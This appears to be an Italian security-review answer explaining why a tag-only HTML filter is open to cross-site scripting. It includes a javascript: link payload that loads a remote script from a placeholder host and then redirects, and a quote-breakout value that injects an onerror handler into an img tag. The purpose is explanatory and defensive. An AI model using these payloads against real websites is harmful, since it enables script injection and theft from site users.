XSS
Anche se supponiamo che i tuoi filtri funzionino perfettamente (cosa che non farei automaticamente, il filtraggio è piuttosto complesso e facile da sbagliare), questo potrebbe portare a XSS.
Perché non è stato ancora menzionato: a
in combinazione con href
non filtrato non è sicuro, poiché JavaScript verrà eseguito. Un utente malintenzionato può caricare uno script remoto e quindi reindirizzare in modo che il collegamento funzioni come un collegamento normale:
<a href="javascript:s=document.createElement('script');s.src='http://localhost/s.js';document.body.appendChild(s);window.location='http://www.google.com/'">click</a>
La vittima deve effettivamente fare clic sul link, ma un utente malintenzionato può fornire un link interessante o utilizzare ClickJacking per raggiungere questo obiettivo.
Codifica
Poiché in un commento hai menzionato che non utilizzi alcuna codifica, ma solo il filtro dei tag: se non codifichi le virgolette, un utente malintenzionato può uscire dal contesto dell'attributo corrente. Ad esempio:
<img src="user_input">
con
user_input = invalid" onerror="alert(1)
conduce a
<img src="invalid" onerror="alert(1)">
che verrà eseguito da tutti i browser.